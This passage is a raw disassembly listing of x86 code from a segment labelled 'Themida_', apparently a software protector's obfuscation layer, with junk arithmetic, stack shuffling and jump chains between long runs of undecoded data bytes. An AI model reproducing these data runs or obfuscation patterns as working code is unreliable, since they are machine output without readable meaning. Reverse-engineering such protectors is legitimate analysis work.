		dd 0EE812A57h, 27C03B5Ah, 5E23E9h, 243C8B00h, 5104C483h
		dd 7761F6B9h, 27F1814Ah, 0E925524Bh, 0ED1h
; ---------------------------------------------------------------------------


loc_556D74:				; CODE XREF: Themida_:005517EFj
		dec	eax
		dec	eax
		push	edx
		jmp	loc_552906
; ---------------------------------------------------------------------------


loc_556D7C:				; CODE XREF: Themida_:00557549j
		xchg	ebp, [esp]
		pop	esp
		push	33DDh
		mov	[esp], ebx
		mov	ebx, 66C5365Eh
		add	dword ptr [esp+4], 5DF93442h
		sub	dword ptr [esp+4], 1D3E123Bh
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 1D3E123Bh
		sub	dword ptr [esp+4], 5DF93442h
		mov	ebx, [esp]
		add	esp, 4
		sub	[esp], eax
		add	dword ptr [esp], 66C5365Eh
		sub	dword ptr [esp], 19340F9Bh
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0AFF5E9h, 1EC68100h,	0E98C72C5h, 9B6Fh, 0E91C381h, 0EB017C6Ah
		dd 0D15CE9h, 31C33100h,	0E9C331D8h, 22B2h, 0FF2434FFh
		dd 77E92434h, 5300003Fh, 0A21AE9h
		db 0
; ---------------------------------------------------------------------------


loc_556E09:				; CODE XREF: Themida_:00550F1Dj
		xor	ebx, [esp]
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_5570D7
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 98h
		dd 5E5FDF4Bh, 2C381h, 1C330000h, 241C3124h, 0FFB76AE9h
		dd 242C89FFh, 4BDh, 8BEF0100h, 0C483242Ch, 243C3304h, 33243C31h
		dd 875C243Ch, 248B240Ch, 24048B24h, 4EC81h, 4890000h, 48B5424h
		dd 4C48324h, 0F4685352h, 5B6FDE0Bh, 0FFCCFEE9h,	0C58145FFh
		dd 594D6F79h, 815DEA01h, 0B4245BEBh, 6AC38102h,	813F6F28h
		dd 8D4262C3h, 81D30160h, 8D4262EBh, 6AEB8160h, 563F6F28h
		dd 0FF4668BEh, 0DEE8144h, 1424B22h, 0E657E9F3h,	0DBF70000h
		dd 37CE9h
		db 0
; ---------------------------------------------------------------------------


loc_556EB1:				; CODE XREF: Themida_:00558B6Fj
		push	ebx
		mov	bl, 0B2h
		and	dh, bl
		pop	ebx
		xchg	bl, dh
		neg	bl
		jmp	loc_55E71E
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 5C241487h, 8B24048Fh,	34FF2424h
		dd 0E03FE924h, 1C330000h, 0F1F75C24h, 611AE952h, 315B0000h
		dd 0EF815FFDh, 59B56371h, 0D9D5E9h, 10EA8100h, 81675B14h
		dd 0FF2D23C2h, 0C8C9E905h, 0D5280000h, 8E5C05Ah, 0DC8EE9h
		dd 0C8B6600h, 5A545224h, 0A815E951h, 248BFFFFh,	0A90DE924h
		dd 5A66FFFFh, 0FC2CF800h, 0FFF277E9h, 0FBBD55FFh, 81604F12h
		dd 884219C5h, 14E5815Ch, 0C14C7161h, 0C58102EDh, 12C328A4h
		dd 4BF4C581h, 0F58106EDh, 1CC4C4D9h, 575DE889h,	0D82900BFh
		dd 7ACCE965h, 0D8300000h, 6C06E95Bh, 0C6830000h, 24348704h
		dd 6824248Bh, 9DBh, 68241C89h, 5668h, 50243489h, 0FFDDADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556F91:				; CODE XREF: Themida_:0055F58Aj
		mov	esi, 9D13FD12h
		xor	eax, esi
		pop	esi
		mov	ebx, eax
		pop	eax
		push	ebx
		mov	ebx, 73316F17h
		sub	[esp+8], ebx
		jmp	loc_55CE5E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 97157A2h, 3A7A612Dh,	11E95710h, 2CFFFFCEh, 0D0285AB9h
		dd 4EC81h, 1C890000h, 4EC8324h,	0FFBC5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556FD1:				; CODE XREF: Themida_:00551B78j
		push	3CC0h
		mov	[esp], esi
		mov	esi, 80000h
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5541E7
; ---------------------------------------------------------------------------
		db 87h
		dd 87D6F7F1h, 27D368F1h, 4890000h, 0FFFFB824h, 0C101FFFFh
		dd 2CF18158h, 51CF87E5h, 7D240481h, 5B3EEF7Ah, 7A7DEB81h
		dd 5593EEFh, 26FC3092h,	0FBE9D829h, 89000043h, 0E9243Ch
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55702F:				; CODE XREF: Themida_:00552210j
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 53A74AABh
		add	edi, 1
		add	edi, 43984C0Bh
		inc	edi
		xor	edi, 26A06144h
		sub	edi, 1
		add	edi, 977F81C9h
		push	edi
		xor	dword ptr [esp], 204550Bh
		pop	ebp
		xor	ebp, 204550Bh
		pop	edi
		push	ebx
		mov	ebx, 542B4C95h
		jmp	loc_5581A0
; ---------------------------------------------------------------------------


loc_55707C:				; CODE XREF: Themida_:00553F85j
		pop	dword ptr [edx+30h]
		jmp	loc_55476C
; ---------------------------------------------------------------------------
		dd 0B1347C68h, 0BD555920h, 28F367DBh, 0E0E9E931h, 100002Dh
		dd 5004247Ch, 983382B8h, 24448132h, 0AC0FC708h,	2444816Dh
		dd 0F51B7A08h, 0F464E92Bh, 0E946FFFFh, 5B44h, 0B0DCB252h
		dd 28DD2C2Ch, 1B9E9D0h,	4890000h, 80FCB024h, 91E981EBh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5570D7:				; CODE XREF: Themida_:00556E10j
		push	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	36631AA4h
		pop	eax
		neg	eax
		jmp	loc_560291
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2404h, 4BA5224h,	1000000h, 89535AD7h, 4C381E3h
		dd 83000000h, 1C8704EBh, 4895C24h, 0E7D1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557116:				; CODE XREF: Themida_:00554EF6j
		pop	edi
		mov	ebx, 20E15312h
		xor	ebx, eax
		pop	eax
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_551995
; ---------------------------------------------------------------------------


loc_557129:				; CODE XREF: Themida_:00553545j
		pop	esp
		jmp	loc_562BD6
; ---------------------------------------------------------------------------
		db 51h
		dd 0EB88E588h, 0A4B4E959h, 5453FFFFh, 4C3815Bh,	51000000h
		dd 4B9h, 59CB0100h, 8B241C87h, 0E4052424h, 124CD39h, 39E42DD8h
		dd 910524CDh, 68364B0Fh, 5F8Ch,	52240C89h, 525BE9h, 0A2E95600h
		dd 83000028h, 48904ECh,	241C8B24h, 33B968h, 24348900h
		dd 8904EC83h, 4832424h,	835E0424h, 2C8904ECh, 0DCBE5624h
		dd 0E975DB5Ah, 0FFFF9E15h, 9C241CF7h, 0FF9641E9h, 4EC81FFh
		dd 89000000h, 93BD242Ch, 0E968A322h, 8804h, 81E9DA31h
		dd 81000081h, 4C4h, 0B4F18000h,	5303E1C0h, 885DB050h, 0D92858C3h
		dd 59CA205Bh, 0B3535166h, 0E9CBFEBBh, 0FFFFF2DFh, 0E9243433h
		dd 0C0C3h, 4C481h, 53550000h, 0F0E9E389h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557203:				; CODE XREF: Themida_:005550FCj
		add	ebx, 183F5DADh
		inc	ebx
		shr	ebx, 7
		push	ecx
		mov	ecx, 39C27139h
		jmp	loc_563D80
; ---------------------------------------------------------------------------


loc_557218:				; CODE XREF: Themida_:0055DFE9j
		push	ecx
		push	esi
		mov	esi, 385E07BAh
		push	0BDCh
		mov	[esp], esi
		push	eax
		jmp	loc_562898
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 80h
		dd 89785B7Ah, 89525BD9h, 5AD389CAh, 9C17E959h, 0E95B0000h
		dd 6ABAh, 0C8BC831h, 4C48124h, 81000000h, 4ECh,	242C8900h
		dd 255268h, 0FDC1E900h,	5E54FFFFh, 0DCF3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55726D:				; CODE XREF: Themida_:0055BC76j
		not	edx
		sub	edx, 1BB6C87Bh
		and	esi, edx
		pop	edx
		xor	esi, 0A586FA3h
		jmp	loc_55F7F1
; ---------------------------------------------------------------------------
		db 4
		dd 0C9DDE9DDh, 50B8FFFFh, 29491133h, 66E958C7h,	5C000047h
		dd 34FFF801h, 89505F24h, 405E0h, 0BF570000h, 4,	875FF801h
		dd 555C2404h, 0FFE4C5E9h, 6E3C1FFh, 68h, 0D58DE900h, 0C4830000h
		dd 4C48104h, 87000000h,	4BE9243Ch, 80FFFFFCh, 0B0502BC6h
		dd 0A4CDE960h, 3C89FFFFh, 81E78924h, 4C7h, 7436E900h, 89660000h
		dd 24348BF7h, 388868h, 240C8900h, 0C181E189h, 4, 440EE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55730E:				; CODE XREF: Themida_:00555BECj
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55B45E
; ---------------------------------------------------------------------------
		db 1
aBqwefSo	db 'ρWe*',0
		align 4
		dd 81240C8Bh, 4C4h, 2434FF00h, 4C4815Bh, 1000000h, 6E92E9D8h
		dd 0C8280000h, 8048E2Ch, 0FFF7E3E9h, 0A7C781FFh, 0D12C5D4Ch
		dd 2C781EFh, 0E920883Ch, 0DD0Ch, 0C50013BDh, 5DEE314Ch
		dd 815EF089h, 5A2A80EEh, 81C62941h, 5A2A80C6h, 24048B41h
		dd 3304C483h, 34312434h, 24343324h, 46F3E95Ch, 4BE90000h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5573A3:				; CODE XREF: Themida_:00556719j
		add	al, 0F3h
		jmp	loc_55A50D
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 4B951h, 0CB010000h, 7FBE5659h, 81229A1Eh
		dd 9A1E7BEEh, 29C38122h, 0E916B72Ah, 9AC0h, 0C15AD629h
		dd 0EC8106EEh, 4, 0E9240C89h, 15ACh, 89241C89h,	0E6E5E9E3h
		dd 1BDFFFFh, 81403902h,	377471F5h, 1ED834Ah, 1DFFF581h
		dd 10E96312h, 0F7000049h, 0F7D0F7D8h, 0AF2D40D8h, 2963F498h
		dd 0C58158C5h, 0C265C38h, 0FFE9AAE9h, 241C89FFh, 2B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_557429:				; CODE XREF: Themida_:00558853j
		sub	eax, 3E71A5A7h
		xor	edi, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		not	edi
		shl	edi, 1
		add	edi, 96162002h
		jmp	loc_556CEC
; ---------------------------------------------------------------------------
		dw 4B0h
		dd 15687134h, 8900006Dh, 2CB7241Ch, 0F6FFEF80h,	0C7C780DFh
		dd 20E9F830h, 0B4FFFFEBh, 0E974B3ABh, 787Dh, 0E9240C89h
		dd 0A34h, 0E904C383h, 989Ch, 24048B66h,	81E28952h, 4C2h
		dd 4EA8100h, 52000000h,	42474FFh, 57D8E9h, 240C8700h, 437E055Ch
		dd 0F80173D5h, 0D5437E2Dh, 4FE92D73h, 88B14C4h,	6824048Bh
		dd 2163h, 89241C89h, 0EE950E3h,	330000E2h, 4312404h, 24043324h
		dd 4EC815Ch, 89000000h,	23BA2414h, 835B6F4Ah, 48904ECh
		dd 0B5E1B824h, 0C201A490h, 8BD30158h, 0E9532414h, 0C518h
		dd 582434FFh, 21436857h, 24890000h, 24048324h, 0C7815F04h
		dd 4, 1E0CBD55h, 574D7AB7h, 0D610E9h, 88C28100h, 1F478BBh
		dd 91F8E9D1h, 248B0000h, 0F0A2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55753A:				; CODE XREF: Themida_:00560D1Fj
		push	dword ptr [edi+eax*4]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_556A1C
; ---------------------------------------------------------------------------


loc_557545:				; CODE XREF: Themida_:0055B7B3j
		pop	edx
		add	ebp, 4
		jmp	loc_556D7C
; ---------------------------------------------------------------------------
aSK		db '){',0
		dd 77E58100h, 81775640h, 0E12345CDh, 1C58131h, 81000000h
		dd 90C9F0C5h, 5DE801E4h, 2BE3EB81h, 3BE904E4h, 5A0000ABh
		dd 0ABEAE9h, 3025B000h,	0B1CE9C6h, 0F5010000h, 268565Eh
		dd 5E000000h, 51E6B951h, 0CD015DD1h, 81F50159h,	0D151E6EDh
		dd 2C335E5Dh, 242C3124h, 5767E9h, 2BA00h, 7EE90000h, 5D0000D7h
		dd 50E68956h, 442D0CB8h, 59930528h, 0D0F70E9Eh,	0E907E8C1h
		dd 0A1F0h, 28B6BD55h, 0E5C105E9h, 0E5F58104h, 0F7301306h
		dd 77CD81D5h, 8137D409h, 0FE7B7BF5h, 5DE801B7h,	0FFAFBFE9h
		dd 0D831ADFFh, 4EC81h, 0C890000h, 5F545724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 57241C89h, 9A1B6168h, 0C7815F7Eh, 7C016090h
		dd 64C9E781h, 0C78146E2h, 16ECBC15h, 24048157h,	27F969B6h
		dd 0FFD006E9h, 0C5835FFFh, 96E95502h, 8B0000A5h, 0C481241Ch
		dd 4, 0DCF9E9h,	6609BB00h, 0EB814072h, 40726605h, 0E7E9DA01h
		dd 83FFFFA9h, 2C5B04C4h, 4C800BDh, 19DE9BDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55767A:				; CODE XREF: Themida_:0055A2FFj
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_56377C
; ---------------------------------------------------------------------------


loc_557683:				; CODE XREF: Themida_:0055D5F8j
		shl	edx, 4
		jmp	loc_550FF8
; ---------------------------------------------------------------------------


loc_55768B:				; CODE XREF: Themida_:00563A63j
		mov	edi, 7BE662D3h
		push	ecx
		mov	ecx, 1FEE0358h
		neg	ecx
		jmp	loc_55BE82
; ---------------------------------------------------------------------------
		db 5, 2	dup(0FFh)
		dd 232DFFFFh, 18406F0h,	2C3358C5h, 242C3124h, 8B242C33h
		dd 0F662424h, 9C2404BBh, 0FF912DE9h, 0C4835AFFh, 24616804h
		dd 34890000h, 348B5424h, 4C48324h, 3579E9h, 4923BB00h
		dd 0EBC17479h, 97E95206h, 0F7000009h, 615EE9D3h, 0EB010000h
		dd 4C3815Dh, 87000000h,	248B241Ch, 41060524h, 83557CC7h
		dd 48904ECh, 6482B824h,	25E945F3h, 810000CDh, 4C61BACEh
		dd 99BD5546h, 1E251A9h,	3F18E9EEh, 15B0000h, 0E9582447h
		dd 0FFFFBFE2h, 0FF2434FFh, 67E92434h, 29FFFFE3h, 0CE815DEEh
		dd 0DF23326h, 8102E6C1h, 0E48FBAF6h, 0FFF12998h, 0E95E2434h
		dd 6260h, 8324148Bh, 0C38004C4h, 35E95385h, 8300000Bh
		dd 685A04C4h, 6C9Eh, 5D243C89h,	0B9515E5Fh, 49716516h
		dd 0A2C98149h, 0F705CD43h, 94ADE9D9h, 0BE560000h, 5A3A7425h
		dd 1EE81h, 0E6C10000h, 0B9EE8108h, 0E910CD58h, 0FFFFAC24h
		dd 54242C89h, 4BF575Dh,	1000000h, 26685FFDh, 89000049h
		dd 68512404h, 1263697Ah, 52240C8Bh, 0A0E9E289h,	810000D2h
		dd 4ECh, 9292E900h, 34FF0000h, 0D877E924h, 0DFF70000h
		dd 0DA5FF781h, 0BA05EDCAh, 102E842h, 42BA2DF8h,	2D5F02E8h
		dd 284F70A4h, 221F5305h, 0C3DDE91Ch, 0C381FFFFh, 3FD37720h
		dd 241C335Fh, 33241C31h, 20E9241Ch, 66FFFFDBh, 83240C8Bh
		dd 942C02C4h, 0F028442Ch, 94044404h, 665AE42Ch,	667B8968h
		dd 0B7241C89h, 3F58E96Fh, 0EC830000h, 240C8904h, 0B6E9E189h
		dd 8B0000A8h, 0C483242Ch, 243C8704h, 0FFB103E9h, 89565CFFh
		dd 79BA52E6h, 0C1765060h, 0DAF705EAh, 8106E2C1h, 5F3F3CEAh
		dd 5AD60113h, 0A676E9h,	0D2E95600h, 5AFFFFDAh, 0E95E5456h
		dd 2075h, 336300BEh, 0A38BE91Dh, 665C0000h, 0E9FCB652h
		dd 9563h, 49A4EB81h, 0EB815C15h, 3A2B67D0h, 0C381CB01h
		dd 3A2B67D0h, 49A4C381h, 0C8B5C15h, 42E95524h, 33000099h
		dd 3C31243Ch, 545AE924h, 0BA520000h, 7C23766Bh,	197FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5578D1:				; CODE XREF: Themida_:0055690Cj
		shl	edi, 4
		xor	edi, 9575CB09h
		and	ecx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5579C0
; ---------------------------------------------------------------------------
		db 1
		dd 0E9042444h, 0FFFFB181h, 1D55E581h, 0BB533998h, 3E566658h
		dd 815BDD09h, 3E3FC0CDh, 89B8502Bh, 5655EE63h, 426AE9h
		dd 2434FF00h, 4C48159h,	31000000h, 242C8BE8h, 366668h
		dd 24148900h, 0C2815A54h, 4, 4C281h, 9BE90000h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557947:				; CODE XREF: Themida_:00559D30j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	4F0Bh
		jmp	loc_55431B
; ---------------------------------------------------------------------------
		db 0BAh, 5Ch, 31h
		dd 0EAC16BCAh, 93E95307h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557967:				; CODE XREF: Themida_:00560A16j
		mov	esi, esp
		add	esi, 4
		jmp	loc_55C86C
; ---------------------------------------------------------------------------


loc_557974:				; CODE XREF: Themida_:0055960Bj
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_551EF9
; ---------------------------------------------------------------------------


loc_557995:				; CODE XREF: Themida_:005646FEj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_562BCE
; ---------------------------------------------------------------------------
		dd 5965B850h, 0C22908A0h, 0AAC28158h, 290DE610h, 0AAEA81EAh
		dd 0E90DE610h, 0A331h
; ---------------------------------------------------------------------------


loc_5579C0:				; CODE XREF: Themida_:005578EEj
		xor	ecx, 738E6BE6h
		xor	ecx, 0BF14009h
		or	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	esi, 7
		inc	esi
		inc	esi
		push	edi
		push	ebx
		mov	ebx, 443A73ABh
		shl	ebx, 3
		shl	ebx, 3
		jmp	loc_554A77
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0DDF7DDF7h, 5D08CD81h, 0E5C13BACh, 52C58104h, 81001829h
		dd 4621B0C3h, 81EB0117h, 4621B0EBh, 95FDE917h, 4300000h
		dd 24043224h, 30240430h, 30C530E8h, 0F6DD86E8h,	66DD86D3h
		dd 2AF56853h, 27E90000h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557A33:				; CODE XREF: Themida_:005510E9j
		push	edx
		mov	edx, esp
		push	0C1Dh
		jmp	loc_558ACB
; ---------------------------------------------------------------------------


loc_557A40:				; CODE XREF: Themida_:0055A3B2j
		xor	ebx, 8EB793ADh
		mov	ecx, ebx
		pop	ebx
		not	ecx
		sub	ecx, 294E7BCCh
		dec	ecx
		push	ebp
		mov	ebp, 1F1C6371h
		inc	ebp
		neg	ebp
		jmp	loc_5545E8
; ---------------------------------------------------------------------------
		dd 1EBB5359h, 506A3963h, 0EC3D04B8h, 48D8F710h,	63D62548h
		dd 14055627h, 14FC35Ah,	0D90158C3h, 51E9525Bh, 0F700008Ah
		dd 0ACEA81DAh, 0F73E272Eh, 60E957DAh
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557A97:				; CODE XREF: Themida_:00559547j
		add	ebp, 4
		jmp	loc_553777
; ---------------------------------------------------------------------------


loc_557AA2:				; CODE XREF: Themida_:0055988Ej
		add	dl, 0Ch
		mov	cl, dl
		pop	edx
		xor	dh, cl
		pop	cx
		push	ax
		mov	ah, 1
		shr	ah, 2
		jmp	loc_554DD3
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFAF26h, 0C17F6BBAh, 0DA16E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557ACA:				; CODE XREF: Themida_:005583EEj
		sub	ebp, 1ACF280Ch
		add	ebp, esi
		jmp	loc_55BC1C
; ---------------------------------------------------------------------------
		align 4
		dd 148B66D0h, 0EC835624h, 48F5404h, 24048324h, 0B9515E04h
		dd 4, 5059CE01h, 2B8h, 58C60100h, 8B243487h, 39E92424h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B07:				; CODE XREF: Themida_:00551703j
		mov	edx, 29CD6216h
		jmp	loc_5595D6
; ---------------------------------------------------------------------------
a1SS		db '1<$!',0
		dd 0E9E6D100h, 2EEFh, 0AF89E959h, 0EF000000h, 0B974E9h
		dd 0E9F80100h, 49EBh, 57243C8Bh, 0C7815F54h, 4,	0D391E9h
		dd 581B3500h, 0C2E97E0Eh, 89FFFFAEh, 0E950243Ch, 0FFFFCF5Dh
		dd 685Bh, 0B2E90000h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557B63:				; CODE XREF: Themida_:0055D128j
		mov	ebp, 90BA7E76h
		jmp	loc_55E307
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 53000000h, 355B25BBh, 92E38116h, 8144121Bh, 20DABC3h
		dd 81EBD160h, 91451EBh,	0CDB5E932h, 3168FFFFh, 89000014h
		dd 31E92404h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557B9F:				; CODE XREF: Themida_:0056140Dj
		add	ebp, 4
		push	ecx
		jmp	loc_55381F
; ---------------------------------------------------------------------------
		db 89h
		dd 58E9240Ch, 0FF0000CAh, 34FF2434h, 43E0E924h,	41680000h
		dd 5E0C7C7Ch, 0B16BE9h,	240C8B00h, 1C4468h, 242C8900h
		dd 0BE56E589h, 35B970D2h, 0C681DEF7h, 5D121764h, 73C6814Eh
		dd 1D8A759h, 96AFE9F5h,	0EEC10000h, 292AE903h, 77FF0000h
		dd 59669D1Ch, 241CD366h, 8BE4E99Ch, 3433FFFFh, 24248B24h
		dd 0E9C8BE0Fh, 0FFFFACA0h, 2599EE81h, 0A7E90F44h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557C23:				; CODE XREF: Themida_:00550A7Ej
		sub	eax, edx
		pop	edx
		jmp	loc_562C8F
; ---------------------------------------------------------------------------
a_sm0		db '_0',0
		dd 242C8B00h, 4C481h, 0C5810000h, 4, 0FFE1B0E9h, 7D2C2DFFh
		dd 0C82937B0h, 0BC1DE9h
		db 0
; ---------------------------------------------------------------------------


loc_557C51:				; CODE XREF: Themida_:00551BC4j
		mov	eax, 318008F9h
		mov	edi, 318008FDh
		sub	edi, eax
		pop	eax
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55DC57
; ---------------------------------------------------------------------------


loc_557C79:				; CODE XREF: Themida_:0055629Cj
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	64F5h
		mov	[esp], edx
		jmp	loc_5590D8
; ---------------------------------------------------------------------------


loc_557CAE:				; CODE XREF: Themida_:00552811j
		sub	eax, 4E36527h
		add	eax, ebp
		jmp	loc_564668
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 0F51BD1EBh, 0C3EE8171h, 17F826Ch, 0C3C681DEh, 5B7F826Ch
		dd 4BD55h, 0EE290000h, 2434875Dh, 11ACE9h, 4C58100h, 83000000h
		dd 2C8704C5h, 24248B24h, 4EC81h, 2C890000h, 81E58924h
		dd 4C5h, 4BE5600h, 29000000h, 2C335EF5h, 242C3124h, 5C242C33h
		dd 201CE9h, 4C48300h, 3359CE01h, 34312434h, 0BCBCE924h
		dd 0E6C10000h, 0AEE8106h, 8179E822h, 0DB6AACCEh, 4AC68136h
		dd 0E944F231h, 0BB8Ch
; ---------------------------------------------------------------------------


loc_557D44:				; CODE XREF: Themida_:0055B4D5j
		push	36A5h
		mov	[esp], edx
		jmp	loc_556A37
; ---------------------------------------------------------------------------
		db 29h,	0D1h, 0E9h
		dd 0FFFFF823h, 8D6D6335h, 58C3290Dh, 5696C381h,	0EB817E3Dh
		dd 22F61E35h, 7422EB81h, 0D329605Fh, 7422C381h,	0C381605Fh
		dd 22F61E35h, 631FBE56h, 0F6810660h, 6A546294h,	2130BB53h
		dd 0DE0935A9h, 0CA1DE95Bh, 148BFFFFh, 4C48124h,	68000000h
		dd 2EBBh, 55243C89h, 146DE9h, 49C18000h, 80C1C180h, 0D100A2E9h
		dd 80A2C180h, 0E980C1E9h, 0F1805A49h, 98E980E6h, 0E903E9C0h
		dd 0FFFFB8B1h, 0E781D7F7h, 325854F0h, 8106EFC1h, 0CCBF34C7h
		dd 5FFE2943h, 0F168DE01h, 89000046h, 3768242Ch,	0E943CE20h
		dd 0FFFFCF5Dh
; ---------------------------------------------------------------------------


loc_557DFC:				; CODE XREF: Themida_:00554D7Fj
		push	1969h
		mov	[esp], edi
		push	4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5530DD
; ---------------------------------------------------------------------------


loc_557E15:				; CODE XREF: Themida_:0055C19Cj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_551B35
; ---------------------------------------------------------------------------
		db 0B9h, 0A3h, 70h
		dd 0C1815E6Ch, 22EB4468h, 689DE181h, 0F1812B89h, 0F84A84B5h
		dd 2D59CE01h, 567F0F30h, 3005F001h, 5E567F0Fh, 663EE9h
		db 0
; ---------------------------------------------------------------------------


loc_557E55:				; CODE XREF: Themida_:00550EC8j
		mov	esp, [esp]
		and	eax, ebx
		jmp	loc_55EC15
; ---------------------------------------------------------------------------
		db 53h
		dd 2BBh, 91C9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557E6A:				; CODE XREF: Themida_:0055CF28j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_562BBA
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0D537168h, 53575E17h, 7B1BD3BBh, 5BDF8929h, 0F8DEF81h
		dd 0FE311CD1h, 8A65E95Fh, 0C33FFFFh, 1FE95C24h,	8100004Fh
		dd 4C2h, 4EA8300h, 5C241487h, 0E9242C89h, 1DAh,	0C181E189h
		dd 4, 4EC81h, 14890000h, 0EC835324h, 24148904h,	691CB850h
		dd 262D25C7h, 89F42A14h, 0F2BB58C2h, 0E9319D54h, 0FFFF9B34h
; ---------------------------------------------------------------------------


loc_557EE4:				; CODE XREF: Themida_:0055E9CFj
		mov	bh, 91h
		push	cx
		push	ebx
		mov	bh, 0B5h
		neg	bh
		dec	bh
		inc	bh
		sub	bh, 0D1h
		mov	cl, bh
		pop	ebx
		xor	bh, cl
		jmp	loc_55DA46
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD3h, 0FF88E1E9h, 0DF2D5AFFh, 5213F715h
		dd 0FA25D6BAh, 0A6CBE94Dh, 0F5890000h, 0F5815B5Eh, 94F3FE0h
		dd 0E95DE801h, 0FFFFD0FEh, 6CE9E95Dh, 2DB90000h, 81014770h
		dd 0B84401E9h, 0E9CB01A4h, 128Ch, 8B24048Fh, 13E92424h
		dd 2900006Dh, 2434FFD7h, 512AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557F5E:				; CODE XREF: Themida_:00550A62j
		push	esi
		add	dword ptr [esp], 741E5199h
		jmp	loc_55DE84
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 2434FF24h, 0E3895358h, 4C381h, 0C3830000h
		dd 241C8704h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5622EC
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 6D0C68h, 242C8900h, 0C581E589h, 4, 20B0E9h
		dd 0E1895100h, 4C181h, 0E9830000h, 240C8704h, 2414895Ch
		dd 616AE9h, 64CE8100h, 0E96BAE18h, 835Ah
; ---------------------------------------------------------------------------


loc_557FD8:				; CODE XREF: Themida_:00556124j
		pop	esp


loc_557FD9:				; CODE XREF: Themida_:00556941j
					; Themida_:loc_5598BDj
		push	dword ptr [esp]
		pop	ebx
		push	7A11h
		mov	[esp], ecx
		jmp	loc_55F67C
; ---------------------------------------------------------------------------


loc_557FEA:				; CODE XREF: Themida_:005549CEj
		pop	ecx
		add	ebx, 3D4E7F3Dh
		jmp	loc_550E44
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 68572404h, 666Ch, 24048F54h,	4CCEE9h, 4E9C100h, 0C1FFC183h
		dd 814903E1h, 0AFC1EEE9h, 4F75E9EAh, 74FF0000h,	8F5E0424h
